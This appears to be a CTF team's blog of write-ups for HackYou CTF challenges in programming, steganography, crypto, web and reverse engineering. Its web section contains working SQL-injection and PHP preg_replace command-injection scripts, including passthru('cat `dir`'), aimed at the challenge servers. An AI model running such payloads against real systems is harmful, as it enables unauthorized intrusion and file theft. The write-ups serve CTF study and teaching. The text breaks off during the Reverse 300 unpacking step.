w3pwnz

{ w3pwnz, therefore we are }

recherche

To content | To menu | To search

HackYou CTF - PPC100, PPC200, PPC300 Writeups


PPC100 - Antihuman Captcha



To solve this task we have to submit the sum of two huge numbers, fast enough to be considered as a robot.
Python can handle these natively, so it's straight-forward.

hugecaptcha

#!/usr/bin/env python2
 
import urllib
import re
 
URL = "http://misteryou.ru/ppc100/"
 
page = urllib.urlopen(URL).read()
 
regex = "HugeCaptcha</h2>(?:\s+)(\d+)(?:\s+)\+(?:\s+)(\d+)<br>(?:.*)name='trueanswer' value='([^']+)' />"
m = re.search(regex, page, re.S)
 
int_1, int_2, trueanswer = m.groups()
answer = int(int_1) + int(int_2)
 
params = urllib.urlencode({
    'answer': answer,
    'captchatype': 'hugecaptcha',
    'trueanswer': trueanswer
})
 
page = urllib.urlopen(URL, params).read()
 
# Ok, u are robot<br> Secret is:<br> 1101011<br> 1101001[...]
 
regex = "Secret is:<br> ([^\n]+)"
m = re.search(regex, page)
 
passwd = m.group(1).split("<br> ")
print '[+] Password is', ''.join(chr(int(i, 2)) for i in passwd)


Flag: killallhumans

PPC200 - Oscaderp Forensic



Download the archive PPC200.

We need your help, soldier!

Your goal today is to help us obtain the access to Oscaderp Corp mainframe.
Our intelligence has managed to install a keylogger and a formgrabber on some bad person's work laptop. You don't need his name to do your job.
Everything worked as planned, the victim visited mainframe's authentication page, https://authen.intranet/, and started to type in the password.
But when he had a couple characters left, the keylogger got busted and hard-killed by him.

Present intelligence evidence:
* The password that's being used is 1,048,576 characters long.
* According to our calculations, our keylogger managed to capture 1,048,568 password keystrokes.
* Formgrabber remained unnoticed, and in a few hours we've got the logs with successful mainframe authentication.
The only major problem: they use client-side MD5 to protect the password from being eavesdropped.
* We also managed to acquire the source code of the authentication mechanism

You can find all the necessary files in the archive.

YOUR GOAL: obtain the password to the mainframe, and post its SHA1 hash as the flag.


Not much of a choice, we must bruteforce remaining characters.
A dumb basic bruteforce will be quite long because of the password's length. Hence I hash the provided part first (1,048,568 bytes), store it in a "ref" variable, and then bruteforce the 8 remaining bytes, using a copy of the ref md5 object to keep it intact.
Python is usually not a good choice for bruteforce, but i was lazy and it's only a 8 digits bruteforce, which takes less than 3 minutes with code below.

#!/usr/bin/env python2
 
import itertools
import hashlib
import string
import re
 
ref = hashlib.md5()
 
lines = open("keylogger_report_08_10_2012.txt", "r").readlines()
out = open("password", "w")
 
regex = re.compile("^Keys: (\d+)")
 
for line in lines:
    m = regex.match(line)
 
    if m:
        ref.update(m.group(1))
        out.write(m.group(1))
 
out.close()
 
charset = string.digits
 
for password in itertools.product(charset, repeat=8):
    passwd = ''.join(password)
    h = ref.copy()
    h.update(passwd)
 
    if h.hexdigest() == "287d3298b652c159e654b61121a858e0":
        print "password is", passwd
        print "solve with", hashlib.sha1(open('password', 'r').read() + passwd).hexdigest()
 
print '[DONE]'


Flag: 947c83329e6cf2d9b747af59edf7974752afd741

PPC300 - Quantum Computing Captcha



Same concept than PPC100, but here we have to submit a prime number factor of a huge number.

refactor

I used the awesome pari-python module to extract the divisors, and gocr (I often have bad results with that one, but it did the job here...).

#!/usr/bin/env python
 
import urllib
import re
import subprocess
import pari
 
URL = "http://misteryou.ru/ppc300/"
 
page = urllib.urlopen(URL).read()
 
regex = "<img src='/ppc300/([^']+)'><br>(?:.*)name='trueanswer' value='([^']+)' />"
m = re.search(regex, page, re.S)
img_name, trueanswer = m.groups()
 
img = urllib.urlopen(URL + m.group(1)).read()
 
open("captcha.png", "w").write(img)
 
captcha = subprocess.Popen(['gocr -i captcha.png'], shell=True, stdout=subprocess.PIPE).communicate()[0]
captcha = captcha.split("\n")[0]
captcha = int(captcha[captcha.find('_e') + 2:].replace(" ", ""))
 
divisors = pari.divisors(captcha)
 
answer = divisors[1]
 
params = urllib.urlencode({
    'answer': answer,
    'captchatype': 'refactor',
    'trueanswer': trueanswer
})
 
page = urllib.urlopen(URL, params).read()
 
# Ok, u are robot<br> Secret is:<br> 1101011<br> 1101001[...]
 
regex = "Secret is:<br> ([^\n]+)"
m = re.search(regex, page)
 
passwd = m.group(1).split("<br> ")
print '[+] Password is', ''.join(chr(int(i, 2)) for i in passwd)


Flag: kill_1_human

HackYou CTF - Stego100, Stego200, Stego300 Writeups


Stego 100 - Perfect Concealment



Download file stg100.txt.
Notice there are weird uppercase letters in some words. Let's just extract these.

>>> ''.join(__import__('re').findall('\w\w*([A-Z])\w*', open("stg100.txt", "r").read()))
'FLAGISSEXYSTEGOPANDAS'

Flag: sexystegopandas

Stego 200 - Halloween



stg200.png Download file stg200.png

If we change the background color we can clearly see something like this:

..    . .. .  . .. ...  ... .   . ..... ..    . ..  ..  ...  . 
....... ....... ....... ....... ....... ....... ....... .......

..    . .. .  . ..  .   . ..... .. .... ..  ..  . ..... .. ... 
....... ....... ....... ....... ....... ....... ....... .......

.. .... . ..... ..  ... .. .    .. .... ...  .. ... .   ...  ..
....... ....... ....... ....... ....... ....... ....... .......

That's binary, let's extract the password from it:

>>> s="""1100001 1101001 1101110 1110100 1011111 1100001 1100110 1110010
... 1100001 1101001 1100100 1011111 1101111 1100110 1011111 1101110
... 1101111 1011111 1100111 1101000 1101111 1110011 1110100 1110011"""
>>> ''.join(chr(int(i, 2)) for i in s.replace("\n"," ").split(' '))
'aint_afraid_of_no_ghosts'

Flag: aint_afraid_of_no_ghosts

Stego 300 - Go Through the Tunnel



stg300.png Download file stg300.png
The text in the middle of the picture is a lure. THAT'S SO FUNNY.
Let's steganalyse this file more seriously, with StegSolve from Caesum (useful tool, although it's java).
stegsolve_lsb.png
Flag: 4E34B38257200616FB75CD869B8C3CF0

HackYou CTF - Crypto100, Crypto200, Crypto300 Writeups


Crypto100 - Schneier's Algorithm



cry100.jpg

Download file cry100.jpg
This is a code that Bruce Schneier likes to insert as an autograph.
Read from the last column to the first to discover the flag.

Flag: hackyouisthebestestctfftw

Crypto200 - XOROWbIu WbI(|)P



Download file cry200.txt.enc
The title suggests it's XOR, so let's launch a XOR analysis, here with Cryptool:
cryptool_xor.png
We are not done yet, but that's quite a good start!
We can assume the first word is "Congratulations", and deduce the final XOR key from it and the corresponding bytes in the ciphertext:

awe@awe-laptop ~ % hexdump -C cry200.txt.enc|head -n  1
00000000  d5 cb 44 a4 e4 12 e2 d1  46 a2 e2 1a f9 ca 59 e2  |..D.....F.....Y.|
awe@awe-laptop ~ % echo "Congratulations"|hexdump -C|head -n 1
00000000  43 6f 6e 67 72 61 74 75  6c 61 74 69 6f 6e 73 0a  |Congratulations.|
>>> s1 = "d5 cb 44 a4 e4 12 e2 d1  46 a2 e2 1a f9 ca 59 e2".replace(' ','').decode("hex")
>>> s2 = "43 6f 6e 67 72 61 74 75  6c 61 74 69 6f 6e 73 0a".replace(' ','').decode("hex")
>>> ' '.join('%02x' % (ord(s1[i]) ^ ord(s2[i])) for i in range(len(s1)))
'96 a4 2a c3 96 73 96 a4 2a c3 96 73 96 a4 2a e8'

96 a4 2a c3 96 73 is repeated, that's our XOR key.

Now let's decrypt the whole file:

#!/usr/bin/env python2
 
txt = open("cry200.txt.enc", "rb").read()
key = "96 a4 2a c3 96 73".replace(" ", "").decode("hex")
 
def my_xor(cipher, key):
    keylen = len(key)
    res = ""
 
    for pos, c in enumerate(cipher):
        res += chr(ord(c) ^ ord(key[pos % keylen]))
 
    return res
 
print my_xor(txt, key)

Congratulations! While the quick brown fox jumps over the lazy dog, the plain xor cipher is still very unsecure when the key is much shorter than the message. Your flag: Foxie Dogzie Crypto Pwnd

Flag: Foxie Dogzie Crypto Pwnd

Crypto300 - Hardcore



Download file cry300.py.

Here is what the algorithm does:

  • - Init sbox (SALTED_BOX) with range(128).
  • - add_key(SALTED_SBOX, KEY)
  • - every time it receives something from a user, it splits user input into two equal size blocks (k and m), and calls encrypt(SALTED_BOX, k, m)
  • - return hex-encoded result of the encrypt call to the user

If you are too lazy to open the file, here is add_key function:

def add_key(sbox, k):
    for i, c in enumerate(k):
        sbox[i], sbox[ord(c)] = sbox[ord(c)], sbox[i]
        for i in xrange(len(sbox)):
            sbox[i] = (sbox[i] + 1) % 128
    return

Notice this is all reversible as long as we have an idea of the inital sbox, which is the case here, we know it was range(128).
Now we must submit an even sized string, let's study the encrypt() function:

def encrypt(sbox, k, m):
    sbox = sbox[::]
    add_key(sbox, k)
 
    c = ""
    for ch in m:
        c += chr(sbox[ord(ch)])
        sbox = combine(sbox, sbox)
    return c

The sbox is copied (sbox = sbox[::]) so that every time you will encrypt something, sbox will remain in the same state as above, salted with our challenge flag.
What about if we submit a string of 2 characters? 'k' will contain the first one, 'm' the last. So in the for loop, we will bypass the combine() call.
Simply perform 127 queries to extract the result of add_key(sbox, k). It is then trivial to reverse it and obtain sbox (SALTED_BOX).
It is indeed possible to optimize this process and to save queries by detecting a constant increment in dumped sbox characters, but I prefered the easy dirty way ;)
We only need to revert add_key(range(128), KEY), now that we have its output.
A quick bruteforce does it well, for each possible key length.
Once again, the optimization could save this but ... :D

Here is my code:

#!/usr/bin/env python2
 
import socket
import string
 
#HOST = 'localhost'
HOST = '93.191.13.142'
PORT = 7777
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((HOST, PORT))
 
res = [-1]
 
for i in xrange(1, 128):
    txt = '1' + chr(i)
    s.sendall(txt)
    data = s.recv(1024)
    res += [ord(data.rstrip().decode("hex"))]
 
s.close()
 
for i in xrange(0, 128):
    if i not in res:
        res[0] = i
        break
 
res[0], res[ord('1')] = res[ord('1')], res[0]
 
res = map(lambda x: (x - 1) % 128, res)
 
print res
 
ref = res[:]
 
for bf in xrange(1, 128):
    pwd = ""
    dump = True
    res = ref[:]
 
    for pos in reversed(xrange(0, bf)):
        res = map(lambda x: (x - 1) % 128, res)
 
        for i, c in enumerate(res):
            if c == 2 * pos:
                break
 
        res[pos], res[i] = res[i], res[pos]
 
        if not chr(i) in string.printable:
            dump = False
            break
 
        pwd = chr(i) + pwd
 
    if dump:
        print "-" * 80
        print pwd

And its output:

% ./sploit_cry300.py
[86, 3, 13, 122, 14, 2, 75, 28, 29, 5, 77, 19, 34, 6, 74, 8, 83, 38, 127, 41, 40, 15, 1, 31,
89, 88, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72,
73, 46, 32, 76, 36, 78, 79, 80, 81, 82, 42, 84, 85, 26, 87, 51, 50, 90, 91, 92, 93, 94, 95,
96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113,
114, 115, 116, 117, 118, 119, 120, 121, 43, 123, 124, 125, 126, 44, 0, 48, 49, 27, 4,
35, 39, 7, 45, 9, 10, 11, 12, 33, 30, 47, 16, 17, 18, 37, 20, 21, 22, 23, 24, 25]
--------------------------------------------------------------------------------
jj	
--------------------------------------------------------------------------------
m	
--------------------------------------------------------------------------------
<is`th1s`k3y`l0n9`en0ugh?>
--------------------------------------------------------------------------------
1sek3yhl >9`en0ugh?> !"#$% !"#$%
--------------------------------------------------------------------------------
snk3y?l"!9`en0ugh?>!"#$%&'!"#$%&'
--------------------------------------------------------------------------------
0k3y>l$#9`en0ugh?>"#$%&'()"#$%&'()
--------------------------------------------------------------------------------
k3y#l&%9`en0ugh?>#$%&'()*+#$%&'()*+
--------------------------------------------------------------------------------
3y%l('9`en0ugh?>$%&'()*+,-$%&'()*+,-
--------------------------------------------------------------------------------
y'l*)9`en0ugh?>%&'()*+,-./%&'()*+,-./

Flag: <is`th1s`k3y`l0n9`en0ugh?>

HackYou CTF - Web100, Web200, Web300 Writeups


Web 100 - Pentagon Authentication


This is a javascript challenge containing several conditions for the password to be correct.
Let's summarize these conditions:

# secretPassPhrase = "Climbing is dangerous"
# QuoteOfTheDay = "the beige hue on the waters of the loch impressed all, including the zapped french queen, before she heard that symphony again, as kind young arthur wanted. keen oxygen vendor."
#
# length == 12
# pwd[0] in string.digits
# pwd[10] in string.digits
# pwd[1] in string.digits
# pwd[6] in string.digits
# pwd[2] in string.digits
# int(pwd[0]) + int(pwd[1]) + int(pwd[2]) + int(pwd[6]) + int(pwd[10]) == 12
# pwd[7] == 'd'
# pwd[7] == pwd[8] - 1
# pwd[2] == pwd[6]
# pwd[6] == pwd[1]
# int(pwd[1]) * int(pwd[10]) == 0
# int(pwd[1]) - int(pwd[10]) == 1
# pwd[11] + pwd[3] + pwd[4] == secretPassphrase[int(pwd[0]) / 2, 3)]
# pwd[9] in string.ascii_lowercase
# pwd[9] not in QuoteOfTheDay

We quicky find the valid password: 911in?1dej0b
We only miss character #5, but it's easy to guess it: 911in51dej0b.
Anyway it is not used by javascript checks.
web100_win.png

Flag: n0-evidence-0n1y-this-8030

Web 200 - Global Meteo


Ctrl-u:

<!-- Not ashamed to show you the source: http://misteryou.ru/web200/index.php.txt -->

Download challenge files here.
Quick glance at the code and we find this:

$fieldArray = $_POST['fields'];
    foreach ($fieldArray as &$field) {
      $field = mysql_real_escape_string($field);
      if (is_numeric($field)) {
        if (strstr($field, "."))
          $field = (float)$field;
        else
          $field = (int)$field;
      } elseif (strtolower($field) == "true") {
        $field = true;
      } elseif (strtolower($field) == "false") {
        $field = false;
      } else {
        $field = NULL;
      }
    }
    unset($field);
    $storedFields = serialize($fieldArray);
    mysql_query("INSERT INTO storage (location, data) VALUES (\"$location\", \"$storedFields\")");

$_POST['fields'] is serialized, but values are filtered first. Anyway, it is an array, we can still modify its keys.
A string key will introduce a quote in the serialized string:

print serialize(array('fu' => true, 42 => 1337)) . "\n";
# output: a:2:{s:2:"fu";b:1;i:42;i:1337;}

We now have an SQL injection within an INSERT statement, which we can use to insert other rows, containing result from subrequests.

#!/usr/bin/env python2
 
import urllib
 
URL = "http://misteryou.ru/web200/index.php"
URL_ADD = "http://misteryou.ru/web200/index.php?mode=add"
 
sql_injection = '), ((SELECT flag FROM secret LIMIT 1), '
 
params = urllib.urlencode({
    'location': "osef suce.",
    'fields[%s]' % sql_injection: "false"
})
 
print urllib.urlopen(URL_ADD, params).read()
print "-" * 80
print urllib.urlopen(URL).read()

Flag: Serialize()_ALL_the_fields!!11

Web 300 - RNG of Ultimate Security



UnsecurePRNG.png
Ctrl-u:

    <!-- can't touch this: http://securerng.misteryou.ru/flag.txt.gz -->
    <!-- can touch this: http://securerng.misteryou.ru/index.php.txt -->

Download file index.php.txt.

Step 1 - Unobfuscate

The code is obfuscated, so let's try to unobfuscate it before delving into the vulnerability.
Every string is obfuscated, and is unobfuscated by calling b() function.

Of course function and variable names are obfuscated as well, using ${b(obfuscated_string)} syntax.
As a reminder, ${$string} is a variable variable (same than $$string).

Now the question is: what is b() doing ?
Obviously we don't need the answer, we can retrieve strings simply by performing something like:

print b("f975de3ba2") . "\n";

But that's lame, so we'll try to understand the operations performed within b(). First things first, here is what is b():

00000000  66 75 6e 63 74 69 6f 6e  20 62 28 24 62 29 7b 72  |function b($b){r|
00000010  65 74 75 72 6e 20 65 76  61 6c 28 c3 9c c3 a7 c2  |eturn eval(.....|
00000020  91 c2 88 c2 a9 c2 b2 c3  93 c3 92 c2 9c c3 84 c2  |................|
00000030  a0 c2 ac c2 9e c3 b3 c2  b6 c3 a9 c2 b2 c3 ae c2  |................|
00000040  8c c2 96 c2 89 c2 85 c3  ba c2 a0 c3 ad c2 a9 c2  |................|
00000050  a6 c3 8e c2 b2 c2 90 c2  8c c3 97 c2 aa c2 b1 c2  |................|
00000060  a7 c3 a8 c3 b9 c3 a4 c2  bc c2 a6 c2 a1 c2 ae c2  |................|
00000070  81 c3 93 c3 b0 c2 bf c2  bf c3 a0 c2 9a c3 92 c2  |................|
00000080  a0 c3 9a c2 8a c3 90 c2  be c3 9f c3 81 c3 9c c2  |................|
00000090  95 c3 af c3 8d c2 b5 c3  be c3 ab c2 99 c3 84 c2  |................|
000000a0  96 c3 be c2 b6 c2 b1 c2  9d c2 a4 c2 b3 c2 8c c3  |................|
000000b0  80 c3 a5 c3 b2 c3 88 c3  a0 c3 99 c3 ae c2 af c2  |................|
000000c0  8a c2 a1 c2 89 c2 bf c2  b8 c2 96 c2 a6 c3 b5 c3  |................|
000000d0  b0 c3 b6 c3 8c c2 bc c2  8a c2 89 c3 9f c2 ba c2  |................|
000000e0  91 c3 ac c3 98 c3 9a c3  a5 c3 a0 c3 87 c3 90 c2  |................|
000000f0  81 c2 8f c3 91 c2 91 c3  8a c3 9b c2 89 c3 a2 c3  |................|
00000100  a4 c2 a0 c3 be c2 8a c3  a9 c3 81 c3 94 c3 9b c2  |................|
00000110  92 c3 88 c3 95 c3 83 c2  91 c2 a0 c3 8f c2 84 c2  |................|
00000120  8f c2 aa c3 bc c3 a4 c2  b1 c2 b5 c3 91 c3 9b c3  |................|
00000130  8f c3 89 5e c2 ae c2 82  c3 a5 c3 bd c3 9b c3 9c  |...^............|
00000140  c3 b3 c2 a1 c3 a8 c2 b6  c3 bf c3 9e c3 bb c2 83  |................|
00000150  c3 93 c2 88 c3 86 c3 86  c3 a1 c3 b2 c2 bc c2 ad  |................|
00000160  c2 89 c3 95 c2 8f c3 9a  c3 92 c2 bc c2 9a c2 b4  |................|
00000170  c3 ae c3 bb c2 9a c2 9d  c2 9f c3 81 c3 95 c2 90  |................|
00000180  c3 8e c3 93 c3 84 c2 87  c2 ad c2 b0 c2 95 c3 96  |................|
00000190  c3 93 c3 88 c2 b2 c2 a1  c3 94 c2 a8 c3 a6 c2 b5  |................|
000001a0  c3 90 c3 b7 c3 a5 c2 be  c2 bc c3 82 c3 b5 c2 9c  |................|
000001b0  c3 91 c3 9a c2 af c3 ad  c2 bf c2 a0 c3 86 c3 90  |................|
000001c0  c3 be c3 8f c2 9b c2 ae  c2 9c c2 9d c3 86 c3 b0  |................|
000001d0  c2 bc c2 a1 c3 9c c3 8e  c2 a8 c2 8d c3 ba c3 8a  |................|
000001e0  c3 9a c3 a5 c3 92 c2 87  c3 98 c3 92 c2 ae c2 90  |................|
000001f0  c2 b2 c2 a0 c3 b6 c2 81  29 3b 7d 0a              |........);}.|
000001fc

It's not a simple strrev(base64(blabla)), but rather eval()'d PHP bytecode.
To dump opcodes and see what's going on, I use Vulcan Logic Dumper.
Launch it with:

php -dvld.active=1 -dvld.verbosity=1 index.php

Output:

filename:       /home/awe/Downloads/index.php(4) : eval()'d code
function name:  (null)
number of ops:  25
compiled vars:  !0 = $b
line     # *  op                           fetch          ext  return  operands
---------------------------------------------------------------------------------
   1     0  >   SEND_VAR                                                 !0
         1      SEND_VAL                                                 0
         2      SEND_VAL                                                 8
         3      DO_FCALL                                      3  $0      'substr'
         4      SEND_VAR_NO_REF                               6          $0
         5      SEND_VAL                                                 true
         6      DO_FCALL                                      2  $1      'md5'
         7      SEND_VAR_NO_REF                               6          $1
         8      SEND_VAR                                                 !0
         9      DO_FCALL                                      1  $2      'strlen'
        10      SUB                                              ~3      $2, 8
        11      DIV                                              ~4      ~3, 16
        12      SEND_VAL                                                 ~4
        13      DO_FCALL                                      1  $5      'ceil'
        14      SEND_VAR_NO_REF                               6          $5
        15      DO_FCALL                                      2  $6      'str_repeat'
        16      SEND_VAL                                                 'H%2A'
        17      SEND_VAR                                                 !0
        18      SEND_VAL                                                 8
        19      DO_FCALL                                      2  $7      'substr'
        20      SEND_VAR_NO_REF                               6          $7
        21      DO_FCALL                                      2  $8      'pack'
        22      BW_XOR                                           ~9      $6, $8
        23    > RETURN                                                   ~9
        24*   > RETURN                                                   null

branch: #  0; line:     1-    1; sop:     0; eop:    24

If you seek more informations about PHP opcodes, RTFM :)
We deduce what PHP is doing:

return str_repeat(md5(substr($param, 0, 8), true), ceil((strlen($param) - 8) / 16)) ^ pack("H*", substr($param, 8));

Now let's create a Python script to unobfuscate the whole file:

#!/usr/bin/env python2
 
import re
import hashlib
import math
 
def my_xor(arg1, arg2):
    length = min(len(arg1), len(arg2))
    res = ""
 
    for i in xrange(length):
        res += chr(ord(arg1[i]) ^ ord(arg2[i]))
 
    return res
 
def unobfuscate(match):
    s = match.group(1)
    arg1 = hashlib.md5(s[0:8]).digest() * int(math.ceil((len(s) - 8.0) / 16))
    arg2 = s[8:].decode("hex")
 
    return '"%s"' % my_xor(arg1, arg2)
 
 
txt = open('index.php.txt', 'r').read()
print re.sub('b\("([^"]+)"\)', unobfuscate, txt)

Output:

<?${"Gjx7QbQ4l3EL"}="array_key_exists";${"USVuYTejL3cA"}="preg_replace";${"lRzbPV0GVCmL"}="mt_rand";${"eU3WOwVfyB2j"}="printf";${"MFBEFx3icClz"}="range";${"KytnuQGCMhPA"}="pack";${"eU3WOwVfyB2j"}("<!DOCTYPE html>
<html>
  <head>
    <title>RNG of Ultimate Security</title>
  </head>
  <body>
    <h3>The Most Secure RNG in the World</h3>
    <!-- can't touch this: http://securerng.misteryou.ru/flag.txt.gz -->
    <!-- can touch this: http://securerng.misteryou.ru/index.php.txt -->
    <form method='POST'>
      Enter the seeds for random number generation, one by line:<p/>
      <textarea name='rng_seeds' cols=50 rows=10>");if(${"Gjx7QbQ4l3EL"}("rng_seeds",${"_POST"})){${"LhfnDi9VtrJM"}=${"_POST"}["rng_seeds"];${"aKRml6aSjmxW"}=${"_POST"}["rng_algorithm"];${"SBBTqFwnO6s5"}="5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929";if(${"aKRml6aSjmxW"}!=${"SBBTqFwnO6s5"})${"eU3WOwVfyB2j"}("wuut?! hacker detected!");else${"eU3WOwVfyB2j"}(${"USVuYTejL3cA"}("#\b(\d+)\b#se",${"KytnuQGCMhPA"}("H*",${"aKRml6aSjmxW"}),${"LhfnDi9VtrJM"}));}else{foreach(${"MFBEFx3icClz"}("1","5")as$_)${"eU3WOwVfyB2j"}(${"lRzbPV0GVCmL"}()."
");}${"eU3WOwVfyB2j"}("</textarea><p/>
      <input type='hidden' name='rng_algorithm' value='5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929' />
      <input type='submit' value='Generate &raquo;' />
    </form>
 </body>
</html>");function b($b){return eval([...])};

Better, isn't it?
We still have to manually fix a few things, mainly variable names, indentation and stuff... which finally gives us:

<?php
 
printf("<!DOCTYPE html>
<html>
  <head>
    <title>RNG of Ultimate Security</title>
  </head>
  <body>
    <h3>The Most Secure RNG in the World</h3>
    <!-- can't touch this: http://securerng.misteryou.ru/flag.txt.gz -->
    <!-- can touch this: http://securerng.misteryou.ru/index.php.txt -->
    <form method='POST'>
      Enter the seeds for random number generation, one by line:<p/>
	  <textarea name='rng_seeds' cols=50 rows=10>");
 
if (array_key_exists("rng_seeds", $_POST))
{
	$ref = "5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929";
 
	if ($_POST['rng_algorithm'] != $ref)
		printf("wuut?! hacker detected!");
	else
		printf(preg_replace("#\b(\d+)\b#se",pack("H*", $_POST['rng_algorithm']), $_POST['rng_seeds']));
}
else
{
	foreach (range("1", "5") as $_)
		printf(mt_rand()."\n");
}
 
printf("</textarea><p/>
      <input type='hidden' name='rng_algorithm' value='5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929' />
      <input type='submit' value='Generate &raquo;' />
    </form>
 </body>
 </html>");
 
?>

Now we can work on it.

Step 2 - Sploit da vuln

Because it is lax, PHP's typing system is a mess. Hence a string composed of digits only is sometimes considered as an integer. We cannot use any other digit-based string, it must have the same length (except if we prefix it with 0's or spaces, but that's not quite useful...), and the first digits must be the same.
Thereby we find that:

"5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929"
==
"5368413128644154000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"

Great job, PHP!

There is a vulnerability in the preg_replace, because it's using the 'e' PCRE modifier (more infos).

If this modifier is set, preg_replace() does normal substitution of backreferences in the replacement string, evaluates it as PHP code, and uses the result for replacing the search string. Single quotes, double quotes, backslashes (\) and NULL chars will be escaped by backslashes in substituted backreferences.

But a problem arise: we are limited to a strict charset, which consists of only all ASCII characters for which the hexadecimal representation is composed only of digits.
That sound unrealistic, but if we look closer at the provided rng_algorithm, we understand that's correct:

>>> "5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929".decode("hex")
'ShA1(dATe(CRyPT(CRC32(sTRReV(ABs($1%SqrT(eXP(EXp(pI())))))))))'

Our payload must begin with 'ShA1(dAT', which is annoying as we will explain below.
Our charset is ! "#$%&'()0987654321@ABCDEFGHIPQRSTUVWXY`abcdefghipqrstuvwxy
We must now focus on how to read the flag.txt.gz file. Reading it via PHP functions seems hard, knowing that 'o' is not inside the charset (so, forget about fopen, file_get_contents etc...). However, we don't even have either ';' or '.' available!

Thus we will try to find a way to execute shell commands.
A good idea is to first list PHP functions and shell commands/binaries that comply with our charset.

<?php
 
function check_in_charset($func)
{
	$len = strlen($func);
 
	for ($i = 0; $i < $len; ++$i)
	{
		if (!is_numeric(bin2hex($func[$i])))
			return FALSE;
	}
 
	return TRUE;
}
 
$functions = array_filter(get_defined_functions()['internal'], "check_in_charset");
print join(', ', $functions);
 
?>

Output:

each, date, idate, getdate, ereg, eregi, hash, sha1, crc32, iptcparse, phpcredits, strrev, hebrev, hebrevc,
strstr, stristr, strrchr, substr, ucfirst, strtr, chr, strchr, exec, passthru, abs, pi, exp, sqrt, deg2rad, rad2deg,
hexdec, dechex, getrusage, header, gettype, settype, fgetc, fgets, fgetss, fread, fpassthru, fstat, fwrite,
fputs, fgetcsv, fputcsv, crypt, chdir, getcwd, readdir, dir, stat, chgrp, prev, reset, extract, assert, gettext,
dgettext, dcgettext

Same process for UNIX binaries, listing /bin/ and /usr/bin/.

Wow, we have 'exec()' in the list, sounds like a win? Not quite :(
Remember, we still have the 'ShA1(dAT' prefix, annoying us. We don't have ';' so we can't chain it easily with another function. However, we can use '&&'.

Therefore our payload will be "ShA1(dATe()) && FIXME".
The problem is that "exec()" returns its results as a string, so we can't do that.
... Unless ... we do something blind-like, based on substr? Nah you can forget that too, we don't even have ',' available...

Hopefully it is still exploitable, with passthru.

The passthru() function is similar to the exec() function in that it executes a command. This function should be used in place of exec() or system() when the output from the Unix command is binary data which needs to be passed directly back to the browser.

Bingo!
We must now find something to 'cat' the flag. No 'l', no 'o', no '*', not even '['. Forget 'ls', 'echo *', 'cat f*' etc.
However the 'dir' binary does the trick. It will list all files, but we can deal with it.
Our final payload will then look like this:

ShA1(dATe()) && passthru('cat `dir`')

It always looks easy once you have the answer ;)

The flag file is a tarball, so it's not a good idea to execute the command within a browser, we will have some issues while dumping its content.
We will instead do it via another python script:

#!/usr/bin/env python2
 
import urllib
 
URL = "http://securerng.misteryou.ru/index.php?fu=id"
 
PAYLOAD = "ShA1(dATe()) && passthru('cat `dir`')"
PAYLOAD += " " * (62 - len(PAYLOAD))
PAYLOAD = PAYLOAD.encode('hex')
 
params = urllib.urlencode({
    'rng_seeds': '1337',
    'rng_algorithm': PAYLOAD
})
 
open('outputz.gz', 'wb+').write(urllib.urlopen(URL, params).read())

Manually remove HTML tags from the file and execute gunzip outputz.gz.
We obtain a file that is chained base64 encoding of the password. Final Python script:

#!/usr/bin/env python2
 
txt = open("outputz", "r").read()
count = 0
 
while True:
    try:
        txt = txt.decode("base64")
        count += 1
 
        if ' ' in txt:
            print '[+] %d base64!' % count
            print '[+]', txt
            break
    except:
        print txt
        break
[+] 42 base64!
[+] flag: 36e03906042b7b266afa32bd1ea35445

Flag: 36e03906042b7b266afa32bd1ea35445

HackYou CTF - Reverse100, Reverse200, Reverse300 Writeups


Reverse 100 - Open-Source



Download file code.c.
Simply read the source...

% ./code `python2 -c 'print 0xcafe'` 25 h4cky0u
Brr wrrr grr
Get your key: c0ffee

Flag: c0ffee

Reverse 200 - LoseYou



Download file rev200.zip.

Extract the archive to obtain task2.bin and task2.exe.
I decided to study task2.bin.
The routine to reverse is sub_80483DC.
We quicky notice this:

hackyou_reverse200.png

That's very basic, eax will contain our guessed number, ecx will contain the randomly generated number.
All we need to do is to break on the "cmp eax, ecx" at 08048503 and set eax to ecx.

(gdb) b *0x08048503
Breakpoint 1 at 0x8048503
(gdb) r
Starting program: /tmp/task2.bin 
warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
Welcome to the LoseYou lottery!
Generating random.....
Make your guess (number 0 or 1): tg
 
Breakpoint 1, 0x08048503 in ?? ()
(gdb) set $eax=$ecx
(gdb) c
Continuing.
You... you... win??? so lucky! Grab the flag:
::: oh_you_cheat3r :::
[Inferior 1 (process 27619) exited normally]
(gdb)

Flag: oh_you_cheat3r

Reverse 300 - ashtree



Download file rev300.zip.
Once again I decided to study the ELF version: task3.bin.

Step 1 - Unpack

The binary seems to be packed by a modified UPX (at least, UPX string is replaced by LOL...).
Let's trace execution:

% strace ./task3.bin 
execve("./task3.bin", ["./task3.bin"], [/* 34 vars */]) = 0
[ Process PID=5640 runs in 32 bit mode. ]
getpid()                                = 5640
gettimeofday({1350215641, 677903}, NULL) = 0
unlink("/tmp/upxCRBOGQOAFQI")           = -1 ENOENT (No such file or directory)
open("/tmp/upxCRBOGQOAFQI", O_RDWR|O_CREAT|O_EXCL, 0700) = 3
ftruncate(3, 9036)                      = 0
old_mmap(NULL, 9036, PROT_READ|PROT_WRITE, MAP_SHARED, 3, 0) = 0xf775a000
old_mmap(0xf775d000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xf775d000
munmap(0xfffffffff775a000, 9036)        = 0
close(3)                                = 0
open("/tmp/upxCRBOGQOAFQI", O_RDONLY)   = 3
getpid()                                = 5640
access("/proc/5640/fd/3", R_OK|X_OK)    = 0
unlink("/tmp/upxCRBOGQOAFQI")           = 0
